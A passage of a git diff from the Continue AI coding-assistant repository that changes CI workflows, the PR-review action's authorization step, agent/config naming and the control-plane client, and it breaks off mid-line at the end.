diff --git a/.continue/prompts/core-unit-test.prompt b/.continue/prompts/core-unit-test.prompt index 70f45bd78ee..1a08945b4cc 100644 --- a/.continue/prompts/core-unit-test.prompt +++ b/.continue/prompts/core-unit-test.prompt @@ -35,6 +35,7 @@ IMPORTANT: Do NOT mock the fixtures above other than using `jest.spyOn`. DO mock Instead, generate actual mock files and data for operations Pure mocks should only be used to emulate specific network responses/error or hard-to-duplicate errors, or to prevent long-duration tests -Additional types can be imported from @core/index.d.ts. If any needed types, functions, constants, or classes are still not found, warn the user and do not generate tests. +Additional types can be imported from @core/index.d.ts +If any needed types, functions, constants, or classes are still not found, warn the user and do not generate tests. -Write the comment "// Generated by continue" at the top of the generated code/file (not the filepath) +Write the comment "// Generated by continue" at the top of the generated code/file (not the filepath) \ No newline at end of file diff --git a/.github/actions/setup-component/action.yml b/.github/actions/setup-component/action.yml index d7e529e3fb7..d05de3bfb87 100644 --- a/.github/actions/setup-component/action.yml +++ b/.github/actions/setup-component/action.yml @@ -31,18 +31,12 @@ runs: packages/*/node_modules key: ${{ runner.os }}-packages-node-modules-${{ hashFiles('packages/*/package-lock.json') }} - - uses: actions/cache@v4 + - uses: actions/cache@v4 if: inputs.include-root == 'true' - id: root-cache with: path: node_modules key: ${{ runner.os }}-root-node-modules-${{ hashFiles('package-lock.json') }} - - name: Install root dependencies - if: inputs.include-root == 'true' && steps.root-cache.outputs.cache-hit != 'true' - shell: bash - run: npm ci - - uses: actions/cache@v4 id: component-cache with: diff --git a/.github/workflows/auto-fix-failed-tests.yml b/.github/workflows/auto-fix-failed-tests.yml index 6618594bd72..fe438a4600b 100644 --- a/.github/workflows/auto-fix-failed-tests.yml +++ b/.github/workflows/auto-fix-failed-tests.yml @@ -97,7 +97,7 @@ jobs: - name: Setup Node.js if: steps.workflow-details.outputs.has_failed_tests == 'true' - uses: actions/setup-node@v6 + uses: actions/setup-node@v5 with: node-version: "20" diff --git a/.github/workflows/beta-release.yml b/.github/workflows/beta-release.yml index b8025341794..192ebb61288 100644 --- a/.github/workflows/beta-release.yml +++ b/.github/workflows/beta-release.yml @@ -24,7 +24,7 @@ jobs: token: ${{ secrets.SEMANTIC_RELEASE_TOKEN }} - name: Setup Node.js - uses: actions/setup-node@v6 + uses: actions/setup-node@v5 with: node-version: 20 registry-url: "https://registry.npmjs.org" diff --git a/.github/workflows/cli-pr-checks.yml b/.github/workflows/cli-pr-checks.yml index 2265efec999..93922dd3153 100644 --- a/.github/workflows/cli-pr-checks.yml +++ b/.github/workflows/cli-pr-checks.yml @@ -25,7 +25,7 @@ jobs: uses: actions/checkout@v5 - name: Setup Node.js - uses: actions/setup-node@v6 + uses: actions/setup-node@v5 with: node-version: 20 cache: "npm" @@ -67,7 +67,7 @@ jobs: uses: actions/checkout@v5 - name: Setup Node.js ${{ matrix.node-version }} - uses: actions/setup-node@v6 + uses: actions/setup-node@v5 with: node-version: ${{ matrix.node-version }} diff --git a/.github/workflows/compliance.yaml b/.github/workflows/compliance.yaml index 72e555f5f37..7e44fff65d4 100644 --- a/.github/workflows/compliance.yaml +++ b/.github/workflows/compliance.yaml @@ -104,7 +104,7 @@ jobs: uses: actions/checkout@v5 - name: Setup Node.js - uses: actions/setup-node@v6 + uses: actions/setup-node@v5 with: node-version-file: ".nvmrc" cache: "npm" diff --git a/.github/workflows/continue-general-review.yaml b/.github/workflows/continue-general-review.yaml index 34611923f3b..7efead1fbab 100644 --- a/.github/workflows/continue-general-review.yaml +++ b/.github/workflows/continue-general-review.yaml @@ -3,7 +3,7 @@ name: Continue General Review on: push: branches: - - main + - nate/fix-wf pull_request: types: [opened, ready_for_review] issue_comment: @@ -25,4 +25,4 @@ jobs: with: continue-api-key: ${{ secrets.CONTINUE_API_KEY }} continue-org: "continuedev" - continue-agent: "empty-agent" + continue-config: "continuedev/review-bot" diff --git a/.github/workflows/delete-stale-branches.yaml b/.github/workflows/delete-stale-branches.yaml deleted file mode 100644 index 08ed2628c47..00000000000 --- a/.github/workflows/delete-stale-branches.yaml +++ /dev/null @@ -1,24 +0,0 @@ -name: Delete Stale Branches - -on: - schedule: - - cron: "0 6 * * 1-5" - workflow_dispatch: - -permissions: - issues: write - contents: write - -jobs: - stale_branches: - runs-on: ubuntu-latest - steps: - - name: Stale Branches - uses: crs-k/stale-branches@v8.2.2 - with: - repo-token: "${{ secrets.GITHUB_TOKEN }}" - days-before-stale: 59 - days-before-delete: 60 - pr-check: true - ignore-issue-interaction: true - branches-filter-regex: "^(?!cla-signatures$).*" diff --git a/.github/workflows/jetbrains-release.yaml b/.github/workflows/jetbrains-release.yaml index 54f617534e5..9c33c822ca4 100644 --- a/.github/workflows/jetbrains-release.yaml +++ b/.github/workflows/jetbrains-release.yaml @@ -152,7 +152,7 @@ jobs: # # Setup Node.js - name: Use Node.js from .nvmrc - uses: actions/setup-node@v6 + uses: actions/setup-node@v5 with: node-version-file: ".nvmrc" @@ -370,7 +370,7 @@ jobs: # 2. Install npm dependencies - name: Use Node.js from .nvmrc - uses: actions/setup-node@v6 + uses: actions/setup-node@v5 with: node-version-file: ".nvmrc" diff --git a/.github/workflows/main.yaml b/.github/workflows/main.yaml index cd4e96d06c1..041ff53caa4 100644 --- a/.github/workflows/main.yaml +++ b/.github/workflows/main.yaml @@ -86,7 +86,7 @@ jobs: with: fetch-depth: 0 - - uses: actions/setup-node@v6 + - uses: actions/setup-node@v5 with: node-version-file: ".nvmrc" diff --git a/.github/workflows/pr-checks.yaml b/.github/workflows/pr-checks.yaml index 8e1a63386ad..0155bbfb4c0 100644 --- a/.github/workflows/pr-checks.yaml +++ b/.github/workflows/pr-checks.yaml @@ -23,7 +23,7 @@ jobs: runs-on: ubuntu-latest steps: - uses: actions/checkout@v5 - - uses: actions/setup-node@v6 + - uses: actions/setup-node@v5 with: node-version-file: ".nvmrc" @@ -229,7 +229,7 @@ jobs: test_file_matrix: ${{ steps.vscode-get-test-file-matrix.outputs.test_file_matrix }} steps: - uses: actions/checkout@v5 - - uses: actions/setup-node@v6 + - uses: actions/setup-node@v5 with: node-version-file: ".nvmrc" diff --git a/.github/workflows/preview.yaml b/.github/workflows/preview.yaml index 6f82464b5f2..fa24eb2bf51 100644 --- a/.github/workflows/preview.yaml +++ b/.github/workflows/preview.yaml @@ -70,7 +70,7 @@ jobs: with: fetch-depth: 0 - - uses: actions/setup-node@v6 + - uses: actions/setup-node@v5 with: node-version-file: ".nvmrc" @@ -165,7 +165,7 @@ jobs: # 4. Create PR with version bump - name: Setup Node.js - uses: actions/setup-node@v6 + uses: actions/setup-node@v5 with: node-version-file: ".nvmrc" diff --git a/.github/workflows/reusable-release.yml b/.github/workflows/reusable-release.yml index 21986c0f391..e763aa04caf 100644 --- a/.github/workflows/reusable-release.yml +++ b/.github/workflows/reusable-release.yml @@ -59,7 +59,7 @@ jobs: uses: ./.github/actions/setup-packages - name: Use Node.js from .nvmrc - uses: actions/setup-node@v6 + uses: actions/setup-node@v5 with: node-version-file: ".nvmrc" diff --git a/.github/workflows/run-continue-agent.yml b/.github/workflows/run-continue-agent.yml index c98cf963a00..fcc49903b05 100644 --- a/.github/workflows/run-continue-agent.yml +++ b/.github/workflows/run-continue-agent.yml @@ -7,8 +7,8 @@ on: description: "The prompt to send to the Continue agent" required: true type: string - config: - description: "The config to use (e.g., continuedev/default-background-agent)" + agent: + description: "The agent to use (e.g., continuedev/default-background-agent)" required: false type: string default: "continuedev/default-background-agent" @@ -33,7 +33,7 @@ jobs: -H "Authorization: Bearer ${{ secrets.CONTINUE_API_KEY }}" \ -d '{ "prompt": "${{ inputs.prompt }}", - "config": "${{ inputs.config }}", + "agent": "${{ inputs.agent }}", "branchName": "${{ inputs.branch_name }}", "repoUrl": "https://github.com/${{ github.repository }}" }') diff --git a/.github/workflows/runloop-blueprint-template.json b/.github/workflows/runloop-blueprint-template.json index d0fcf57c125..d1626d81fc0 100644 --- a/.github/workflows/runloop-blueprint-template.json +++ b/.github/workflows/runloop-blueprint-template.json @@ -3,6 +3,8 @@ "system_setup_commands": [ "npm i -g @continuedev/cli@latest", "sudo apt update", - "sudo apt install -y ripgrep" + "sudo apt install -y ripgrep", + "sudo apt install asciinema", + "sudo apt install expect" ] } diff --git a/.github/workflows/snyk-agent.yaml b/.github/workflows/snyk-agent.yaml deleted file mode 100644 index 969c439077e..00000000000 --- a/.github/workflows/snyk-agent.yaml +++ /dev/null @@ -1,31 +0,0 @@ -name: Daily Snyk Agent - -on: - schedule: - # Runs at 9:00 AM UTC every day - - cron: "0 9 * * *" - workflow_dispatch: # Allows manual triggering - -jobs: - run-cn-task: - runs-on: ubuntu-latest - steps: - - name: Checkout repository - uses: actions/checkout@v5 - with: - token: ${{ secrets.GITHUB_TOKEN }} - fetch-depth: 0 - - - name: Setup Node.js - uses: actions/setup-node@v6 - with: - node-version: "20" - - - name: Install Continue CLI globally - run: npm install -g @continuedev/cli@latest - - - name: Run Snyk Agent - run: cd extensions/cli && cn -p --agent continuedev/snyk-code-scan-agent "The current directory" - env: - SNYK_TOKEN: ${{ secrets.SNYK_TOKEN }} - CONTINUE_API_KEY: ${{ secrets.CONTINUE_API_KEY }} diff --git a/.github/workflows/stable-release.yml b/.github/workflows/stable-release.yml index b21f52eb18e..c24abf8f8d7 100644 --- a/.github/workflows/stable-release.yml +++ b/.github/workflows/stable-release.yml @@ -40,7 +40,7 @@ jobs: token: ${{ secrets.SEMANTIC_RELEASE_TOKEN }} - name: Setup Node.js - uses: actions/setup-node@v6 + uses: actions/setup-node@v5 with: node-version: 20 registry-url: "https://registry.npmjs.org" diff --git a/.github/workflows/tidy-up-codebase.yml b/.github/workflows/tidy-up-codebase.yml index 729998a28ac..a6fa6c68835 100644 --- a/.github/workflows/tidy-up-codebase.yml +++ b/.github/workflows/tidy-up-codebase.yml @@ -11,7 +11,7 @@ jobs: uses: ./.github/workflows/run-continue-agent.yml with: prompt: "Review every Markdown documentation file and verify that descriptions, examples, or behavior outlines accurately reflect the current code. Only update documentation; do not modify code. Check the corresponding code to confirm behavior before making changes. Correct any inaccuracies or outdated information in descriptions, examples, or behavior outlines. Preserve existing Markdown formatting, style, and structure. Do not add new sections, speculative explanations, or details not present in the code. Only update statements that are clearly incorrect or misleading; do not rewrite text for style or preference. Keep edits minimal and focused, ensuring that the Markdown matches what the code actually does. If verification against the code is ambiguous, leave the documentation unchanged. Use branch name bot/cleanup--" - config: continuedev/default-background-agent + agent: continuedev/default-background-agent branch_name: main secrets: CONTINUE_API_KEY: ${{ secrets.CONTINUE_API_KEY }} diff --git a/.github/workflows/vscode-prerelease.yml b/.github/workflows/vscode-prerelease.yml index 2d4ed94d6af..a2c4b8208e7 100644 --- a/.github/workflows/vscode-prerelease.yml +++ b/.github/workflows/vscode-prerelease.yml @@ -29,7 +29,7 @@ jobs: token: ${{ secrets.GITHUB_TOKEN }} - name: Setup Node.js - uses: actions/setup-node@v6 + uses: actions/setup-node@v5 with: node-version: 20 diff --git a/.github/workflows/vscode-version-bump.yml b/.github/workflows/vscode-version-bump.yml index ba3ea08c42b..dbf258f352a 100644 --- a/.github/workflows/vscode-version-bump.yml +++ b/.github/workflows/vscode-version-bump.yml @@ -21,7 +21,7 @@ jobs: gh auth login --with-token <<< "${{ github.token }}" - name: Use Node.js from .nvmrc - uses: actions/setup-node@v6 + uses: actions/setup-node@v5 with: node-version-file: ".nvmrc" diff --git a/actions/general-review/action.yml b/actions/general-review/action.yml index d5e6a7b1773..0e0387c6f70 100644 --- a/actions/general-review/action.yml +++ b/actions/general-review/action.yml @@ -9,8 +9,8 @@ inputs: continue-org: description: "Organization for Continue config" required: true - continue-agent: - description: 'Agent path to use (e.g., "myorg/review-bot")' + continue-config: + description: 'Config path to use (e.g., "myorg/review-bot")' required: true runs: @@ -20,89 +20,44 @@ runs: uses: actions/checkout@v4 - name: Check Authorization - id: auth-check - uses: actions/github-script@v7 - with: - script: | - let shouldRun = false; - let skipReason = ''; - - if (context.eventName === 'pull_request') { - // Check if PR is a draft - if (context.payload.pull_request.draft) { - skipReason = 'PR is a draft'; - } else { - // Check if user has write permission (includes admin, maintain, write) - const prAuthor = context.payload.pull_request.user.login; - try { - const { data: permission } = await github.rest.repos.getCollaboratorPermissionLevel({ - owner: context.repo.owner, - repo: context.repo.repo, - username: prAuthor - }); - - const allowedPermissions = ['admin', 'maintain', 'write']; - if (allowedPermissions.includes(permission.permission)) { - shouldRun = true; - console.log(`PR author @${prAuthor} has ${permission.permission} permission`); - } else { - skipReason = `PR author @${prAuthor} does not have write permission (has: ${permission.permission})`; - } - } catch (error) { - // If API call fails, fall back to checking author_association - const association = context.payload.pull_request.author_association; - const allowedAssociations = ['OWNER', 'MEMBER', 'COLLABORATOR']; - if (allowedAssociations.includes(association)) { - shouldRun = true; - console.log(`PR author @${prAuthor} association: ${association}`); - } else { - skipReason = `PR author @${prAuthor} is not a team member (association: ${association})`; - } - } - } - } else if (context.eventName === 'issue_comment') { - // Check if it's a PR comment with the trigger phrase - const hasTrigger = context.payload.comment.body.includes('@continue-review'); - if (context.payload.issue.pull_request && hasTrigger) { - const commenter = context.payload.comment.user.login; - try { - const { data: permission } = await github.rest.repos.getCollaboratorPermissionLevel({ - owner: context.repo.owner, - repo: context.repo.repo, - username: commenter - }); - - const allowedPermissions = ['admin', 'maintain', 'write']; - if (allowedPermissions.includes(permission.permission)) { - shouldRun = true; - console.log(`Commenter @${commenter} has ${permission.permission} permission`); - } else { - skipReason = `Commenter @${commenter} does not have write permission (has: ${permission.permission})`; - } - } catch (error) { - // If API call fails, fall back to checking author_association - const association = context.payload.comment.author_association; - const allowedAssociations = ['OWNER', 'MEMBER', 'COLLABORATOR']; - if (allowedAssociations.includes(association)) { - shouldRun = true; - console.log(`Commenter @${commenter} association: ${association}`); - } else { - skipReason = `Commenter @${commenter} is not a team member (association: ${association})`; - } - } - } else { - skipReason = 'Comment does not contain @continue-review trigger, or is not on a PR'; - } - } else { - skipReason = `Unsupported event type: ${context.eventName}`; - } + shell: bash + env: + # Only move the dangerous check to env to prevent shell injection + HAS_TRIGGER_PHRASE: ${{ contains(github.event.comment.body, '@continue-review') }} + run: | + # Check if this action should run based on event type and user permissions + SHOULD_RUN="false" - if (skipReason) { - core.notice(`Skipping review - ${skipReason}`); - } + if [ "${{ github.event_name }}" = "pull_request" ]; then + # Check if PR is a draft + if [ "${{ github.event.pull_request.draft }}" = "true" ]; then + echo "::notice::Skipping review - PR is a draft" + else + # Check PR author association + AUTHOR_ASSOC="${{ github.event.pull_request.author_association }}" + if [ "$AUTHOR_ASSOC" = "OWNER" ] || [ "$AUTHOR_ASSOC" = "MEMBER" ] || [ "$AUTHOR_ASSOC" = "COLLABORATOR" ]; then + SHOULD_RUN="true" + else + echo "::notice::Skipping review - PR author is not a team member (association: $AUTHOR_ASSOC)" + fi + fi + elif [ "${{ github.event_name }}" = "issue_comment" ]; then + # Check if it's a PR comment with the trigger phrase + if [ "${{ github.event.issue.pull_request }}" != "" ] && [ "$HAS_TRIGGER_PHRASE" = "true" ]; then + COMMENTER_ASSOC="${{ github.event.comment.author_association }}" + if [ "$COMMENTER_ASSOC" = "OWNER" ] || [ "$COMMENTER_ASSOC" = "MEMBER" ] || [ "$COMMENTER_ASSOC" = "COLLABORATOR" ]; then + SHOULD_RUN="true" + else + echo "::notice::Skipping review - Commenter is not a team member (association: $COMMENTER_ASSOC)" + fi + else + echo "::notice::Skipping review - Comment does not contain @continue-review trigger, or is not on a PR" + fi + else + echo "::notice::Skipping review - Unsupported event type: ${{ github.event_name }}" + fi - core.exportVariable('SHOULD_RUN', shouldRun.toString()); - return shouldRun; + echo "SHOULD_RUN=$SHOULD_RUN" >> $GITHUB_ENV - name: Setup Node.js if: env.SHOULD_RUN == 'true' @@ -113,7 +68,7 @@ runs: - name: Install Continue CLI if: env.SHOULD_RUN == 'true' shell: bash - run: npm install -g @continuedev/cli@latest + run: npm install -g @continuedev/cli@1.4.30 - name: Post Initial Comment if: env.SHOULD_RUN == 'true' @@ -227,7 +182,7 @@ runs: env: CONTINUE_API_KEY: ${{ inputs.continue-api-key }} CONTINUE_ORG: ${{ inputs.continue-org }} - CONTINUE_AGENT: ${{ inputs.continue-agent }} + CONTINUE_CONFIG: ${{ inputs.continue-config }} GITHUB_TOKEN: ${{ github.token }} run: | echo "Running Continue CLI with prompt:" @@ -253,7 +208,7 @@ runs: exit 1 fi - if [[ ! "$CONTINUE_AGENT" =~ ^[a-zA-Z0-9_/-]+$ ]]; then + if [[ ! "$CONTINUE_CONFIG" =~ ^[a-zA-Z0-9_/-]+$ ]]; then echo "Error: Invalid config path. Must contain only alphanumeric characters, hyphens, underscores, and forward slashes." exit 1 fi @@ -273,7 +228,7 @@ runs: # Run the CLI with validated config and error handling if [ "$SKIP_CLI" != "true" ]; then - echo "Executing Continue CLI with config: $CONTINUE_ORG/$CONTINUE_AGENT" + echo "Executing Continue CLI with config: $CONTINUE_ORG/$CONTINUE_CONFIG" # Write prompt to temp file for headless mode PROMPT_FILE="/tmp/continue-review-$RANDOM.txt" @@ -282,9 +237,9 @@ runs: echo "Prompt length: $(wc -c < "$PROMPT_FILE") characters" # Use timeout to prevent hanging (360 seconds = 6 minutes) - echo "Executing command: cn --agent $CONTINUE_ORG/$CONTINUE_AGENT -p @$PROMPT_FILE --allow Bash" + echo "Executing command: cn --config $CONTINUE_ORG/$CONTINUE_CONFIG -p @$PROMPT_FILE --allow Bash" - if timeout 360 cn --agent "$CONTINUE_ORG/$CONTINUE_AGENT" -p "@$PROMPT_FILE" --allow Bash > code_review_raw.md 2>cli_error.log; then + if timeout 360 cn --config "$CONTINUE_ORG/$CONTINUE_CONFIG" -p "@$PROMPT_FILE" --allow Bash > code_review_raw.md 2>cli_error.log; then echo "Continue CLI completed successfully" echo "Raw output length: $(wc -c < code_review_raw.md) characters" diff --git a/binary/package-lock.json b/binary/package-lock.json index 2a7345a428e..06f782bb5c2 100644 --- a/binary/package-lock.json +++ b/binary/package-lock.json @@ -115,7 +115,6 @@ "system-ca": "^1.0.3", "tar": "^7.4.3", "tree-sitter-wasms": "^0.1.11", - "untildify": "^6.0.0", "uuid": "^9.0.1", "vectordb": "^0.4.20", "web-tree-sitter": "^0.21.0", diff --git a/core/autocomplete/postprocessing/index.ts b/core/autocomplete/postprocessing/index.ts index 6ce3742d6a2..11cdf88d4e4 100644 --- a/core/autocomplete/postprocessing/index.ts +++ b/core/autocomplete/postprocessing/index.ts @@ -150,7 +150,7 @@ export function postprocessCompletion({ completion = completion.replace(/^\n+|\n+$/g, ""); } - if (llm.model.includes("granite")) { + if (llm.model.includes("mercury") || llm.model.includes("granite")) { // Granite tends to repeat the start of the line in the completion output let prefixEnd = prefix.split("\n").pop(); if (prefixEnd) { diff --git a/core/config/ConfigHandler.ts b/core/config/ConfigHandler.ts index b3b48bb9d3b..e6ebade663f 100644 --- a/core/config/ConfigHandler.ts +++ b/core/config/ConfigHandler.ts @@ -553,10 +553,6 @@ export class ConfigHandler { void Telemetry.capture("config_reload", telemetryData); - if (errors.length) { - Logger.error("Errors loading config: ", errors); - } - return { config, errors: errors.length ? errors : undefined, @@ -607,6 +603,10 @@ export class ConfigHandler { const config = await this.currentProfile.loadConfig( this.additionalContextProviders, ); + + if (config.errors?.length) { + Logger.error("Errors loading config: ", config.errors); + } return config; } diff --git a/core/config/createNewAssistantFile.ts b/core/config/createNewAssistantFile.ts index dc6ecceff1b..1a823b9870c 100644 --- a/core/config/createNewAssistantFile.ts +++ b/core/config/createNewAssistantFile.ts @@ -1,14 +1,17 @@ import { IDE } from ".."; import { joinPathsToUri } from "../util/uri"; -const DEFAULT_ASSISTANT_FILE = `# This is an example configuration file +const DEFAULT_ASSISTANT_FILE = `# This is an example agent configuration file +# It is used to define custom AI agents within Continue +# Each agent file can be accessed by selecting it from the agent dropdown + # To learn more, see the full config.yaml reference: https://docs.continue.dev/reference -name: Example Config +name: Example Agent version: 1.0.0 schema: v1 -# Define which models can be used +# Models define which AI models this agent can use # https://docs.continue.dev/customization/models models: - name: my gpt-5 @@ -20,7 +23,7 @@ models: with: ANTHROPIC_API_KEY: \${{ secrets.ANTHROPIC_API_KEY }} -# MCP Servers that Continue can access +# MCP Servers the agent can use # https://docs.continue.dev/customization/mcp-tools mcpServers: - uses: anthropic/memory-mcp @@ -47,7 +50,7 @@ export async function createNewAssistantFile( let assistantFileUri: string; do { const suffix = counter === 0 ? "" : `-${counter}`; - assistantFileUri = joinPathsToUri(baseDirUri, `new-config${suffix}.yaml`); + assistantFileUri = joinPathsToUri(baseDirUri, `new-agent${suffix}.yaml`); counter++; } while (await ide.fileExists(assistantFileUri)); diff --git a/core/config/default.ts b/core/config/default.ts index 817bd791e97..1719cdc09f2 100644 --- a/core/config/default.ts +++ b/core/config/default.ts @@ -1,7 +1,7 @@ import { ConfigYaml } from "@continuedev/config-yaml"; export const defaultConfig: ConfigYaml = { - name: "Local Config", + name: "Local Agent", version: "1.0.0", schema: "v1", models: [], diff --git a/core/config/profile/LocalProfileLoader.ts b/core/config/profile/LocalProfileLoader.ts index 9c57ae94c9c..9c5345fbd3e 100644 --- a/core/config/profile/LocalProfileLoader.ts +++ b/core/config/profile/LocalProfileLoader.ts @@ -32,7 +32,7 @@ export default class LocalProfileLoader implements IProfileLoader { iconUrl: "", title: overrideAssistantFile?.path ? getUriPathBasename(overrideAssistantFile.path) - : "Local Config", + : "Local Agent", errors: undefined, uri: overrideAssistantFile?.path ?? @@ -47,7 +47,7 @@ export default class LocalProfileLoader implements IProfileLoader { ); this.description.title = parsedAssistant.name; } catch (e) { - console.error("Failed to parse config file: ", e); + console.error("Failed to parse agent file: ", e); } } } diff --git a/core/config/usesFreeTrialApiKey.ts b/core/config/usesFreeTrialApiKey.ts index 599d7ef0a1d..0ffbf2db5b2 100644 --- a/core/config/usesFreeTrialApiKey.ts +++ b/core/config/usesFreeTrialApiKey.ts @@ -36,5 +36,7 @@ const modelUsesCreditsBasedApiKey = (model: ModelDescription) => { const secretType = decodeSecretLocation(model.apiKeyLocation).secretType; - return secretType === SecretType.FreeTrial; + return ( + secretType === SecretType.FreeTrial || secretType === SecretType.ModelsAddOn + ); }; diff --git a/core/config/yaml/default.ts b/core/config/yaml/default.ts index 22d7d06854e..22c1d895511 100644 --- a/core/config/yaml/default.ts +++ b/core/config/yaml/default.ts @@ -4,7 +4,7 @@ import { AssistantUnrolled } from "@continuedev/config-yaml"; export const defaultConfigYaml: AssistantUnrolled = { models: [], context: [], - name: "Local Config", + name: "Local Agent", version: "1.0.0", schema: "v1", }; @@ -12,7 +12,7 @@ export const defaultConfigYaml: AssistantUnrolled = { export const defaultConfigYamlJetBrains: AssistantUnrolled = { models: [], context: [], - name: "Local Config", + name: "Local Agent", version: "1.0.0", schema: "v1", }; diff --git a/core/context/mcp/json/loadJsonMcpConfigs.ts b/core/context/mcp/json/loadJsonMcpConfigs.ts index 5600a27eec4..01ed60baed1 100644 --- a/core/context/mcp/json/loadJsonMcpConfigs.ts +++ b/core/context/mcp/json/loadJsonMcpConfigs.ts @@ -189,7 +189,6 @@ export async function loadJsonMcpConfigs( ...c.warnings.map((warning) => ({ fatal: false, message: warning, - uri: c.yamlConfig.sourceFile, })), ); return convertYamlMcpConfigToInternalMcpOptions( diff --git a/core/context/providers/URLContextProvider.ts b/core/context/providers/URLContextProvider.ts index 5d846b57512..3e025d08ccb 100644 --- a/core/context/providers/URLContextProvider.ts +++ b/core/context/providers/URLContextProvider.ts @@ -33,40 +33,39 @@ export async function getUrlContextItems( query: string, fetchFn: FetchFunction, ): Promise { - const url = new URL(query); - const icon = await fetchFavicon(url); - const resp = await fetchFn(url); + try { + const url = new URL(query); + const icon = await fetchFavicon(url); + const resp = await fetchFn(url); + const html = await resp.text(); - // Check if the response is not OK - if (!resp.ok) { - throw new Error(`HTTP ${resp.status} ${resp.statusText}`); - } - - const html = await resp.text(); + const dom = new JSDOM(html); + let reader = new Readability(dom.window.document); + let article = reader.parse(); + const content = article?.content || ""; + const markdown = NodeHtmlMarkdown.translate( + content, + {}, + undefined, + undefined, + ); - const dom = new JSDOM(html); - let reader = new Readability(dom.window.document); - let article = reader.parse(); - const content = article?.content || ""; - const markdown = NodeHtmlMarkdown.translate( - content, - {}, - undefined, - undefined, - ); + const title = article?.title || url.pathname; - const title = article?.title || url.pathname; - - return [ - { - icon, - description: url.toString(), - content: markdown, - name: title, - uri: { - type: "url", - value: url.toString(), + return [ + { + icon, + description: url.toString(), + content: markdown, + name: title, + uri: { + type: "url", + value: url.toString(), + }, }, - }, - ]; + ]; + } catch (e) { + console.log(e); + return []; + } } diff --git a/core/control-plane/client.ts b/core/control-plane/client.ts index 2ae0ca42368..fff0d615b15 100644 --- a/core/control-plane/client.ts +++ b/core/control-plane/client.ts @@ -54,39 +54,6 @@ export interface RemoteSessionMetadata extends BaseSessionMetadata { remoteId: string; } -export interface AgentSessionMetadata { - createdBy: string; - github_repo: string; - organizationId?: string; - idempotencyKey?: string; - source?: string; - continueApiKeyId?: string; - s3Url?: string; - prompt?: string | null; - createdBySlug?: string; -} - -export interface AgentSessionView { - id: string; - devboxId: string | null; - name: string | null; - icon: string | null; - status: string; - agentStatus: string | null; - unread: boolean; - state: string; - metadata: AgentSessionMetadata; - repoUrl: string; - branch: string | null; - pullRequestUrl: string | null; - pullRequestStatus: string | null; - tunnelUrl: string | null; - createdAt: string; - updatedAt: string; - create_time_ms: string; - end_time_ms: string; -} - export class ControlPlaneClient { constructor( readonly sessionInfoPromise: Promise, @@ -472,203 +439,4 @@ export class ControlPlaneClient { ); } } - - /** - * Create a new background agent - */ - public async createBackgroundAgent( - prompt: string, - repoUrl: string, - name: string, - branch?: string, - organizationId?: string, - contextItems?: any[], - selectedCode?: any[], - agent?: string, - ): Promise<{ id: string }> { - if (!(await this.isSignedIn())) { - throw new Error("Not signed in to Continue"); - } - - const requestBody: any = { - prompt, - repoUrl, - name, - branchName: branch, - }; - - if (organizationId) { - requestBody.organizationId = organizationId; - } - - // Include context items if provided - if (contextItems && contextItems.length > 0) { - requestBody.contextItems = contextItems.map((item) => ({ - content: item.content, - description: item.description, - name: item.name, - uri: item.uri, - })); - } - - // Include selected code if provided - if (selectedCode && selectedCode.length > 0) { - requestBody.selectedCode = selectedCode.map((code) => ({ - filepath: code.filepath, - range: code.range, - contents: code.contents, - })); - } - - // Include agent configuration if provided - if (agent) { - requestBody.agent = agent; - } - - const resp = await this.requestAndHandleError("agents", { - method: "POST", - headers: { - "Content-Type": "application/json", - }, - body: JSON.stringify(requestBody), - }); - - return (await resp.json()) as { id: string }; - } - - /** - * List all background agents for the current user or organization - * @param organizationId - Optional organization ID to filter agents by organization scope - * @param limit - Optional limit for number of agents to return (default: 5) - */ - public async listBackgroundAgents( - organizationId?: string, - limit?: number, - ): Promise<{ - agents: Array<{ - id: string; - name: string | null; - status: string; - repoUrl: string; - createdAt: string; - metadata?: { - github_repo?: string; - }; - }>; - totalCount: number; - }> { - if (!(await this.isSignedIn())) { - return { agents: [], totalCount: 0 }; - } - - try { - // Build URL with query parameters - const params = new URLSearchParams(); - if (organizationId) { - params.set("organizationId", organizationId); - } - if (limit !== undefined) { - params.set("limit", limit.toString()); - } - - const url = `agents${params.toString() ? `?${params.toString()}` : ""}`; - - const resp = await this.requestAndHandleError(url, { - method: "GET", - }); - - const result = (await resp.json()) as { - agents: AgentSessionView[]; - totalCount: number; - }; - - return { - agents: result.agents.map((agent) => ({ - id: agent.id, - name: agent.name, - status: agent.status, - repoUrl: agent.repoUrl, - createdAt: agent.createdAt, - metadata: { - github_repo: agent.metadata.github_repo, - }, - })), - totalCount: result.totalCount, - }; - } catch (e) { - Logger.error(e, { - context: "control_plane_list_background_agents", - }); - return { agents: [], totalCount: 0 }; - } - } - - /** - * Get the full agent session information - * @param agentSessionId - The ID of the agent session - * @returns The agent session view including metadata and status - */ - public async getAgentSession( - agentSessionId: string, - ): Promise { - if (!(await this.isSignedIn())) { - return null; - } - - try { - const resp = await this.requestAndHandleError( - `agents/${agentSessionId}`, - { - method: "GET", - }, - ); - - return (await resp.json()) as AgentSessionView; - } catch (e) { - Logger.error(e, { - context: "control_plane_get_agent_session", - agentSessionId, - }); - return null; - } - } - - /** - * Get the state of a specific background agent - * @param agentSessionId - The ID of the agent session - * @returns The agent's session state including history, workspace, and branch - */ - public async getAgentState(agentSessionId: string): Promise<{ - session: Session; - isProcessing: boolean; - messageQueueLength: number; - pendingPermission: any; - } | null> { - if (!(await this.isSignedIn())) { - return null; - } - - try { - const resp = await this.requestAndHandleError( - `agents/${agentSessionId}/state`, - { - method: "GET", - }, - ); - - const result = (await resp.json()) as { - session: Session; - isProcessing: boolean; - messageQueueLength: number; - pendingPermission: any; - }; - return result; - } catch (e) { - Logger.error(e, { - context: "control_plane_get_agent_state", - agentSessionId, - }); - return null; - } - } } diff --git a/core/core.ts b/core/core.ts index 636de2840ca..2587fc0afa5 100644 --- a/core/core.ts +++ b/core/core.ts @@ -472,11 +472,9 @@ export class Core { const urlPath = msg.data.path.startsWith("/") ? msg.data.path.slice(1) : msg.data.path; - let url; + let url = `${env.APP_URL}${urlPath}`; if (msg.data.orgSlug) { - url = `${env.APP_URL}organizations/${msg.data.orgSlug}/${urlPath}`; - } else { - url = `${env.APP_URL}${urlPath}`; + url += `?org=${msg.data.orgSlug}`; } await this.messenger.request("openUrl", url); }); @@ -883,9 +881,9 @@ export class Core { }); } - // If it's a local config being created, we want to reload all configs so it shows up in the list + // If it's a local agent being created, we want to reload all agent so it shows up in the list if (nonColocatedRuleUris.some(isContinueAgentConfigFile)) { - await this.configHandler.refreshAll("Local config file created"); + await this.configHandler.refreshAll("Local assistant file created"); } else if 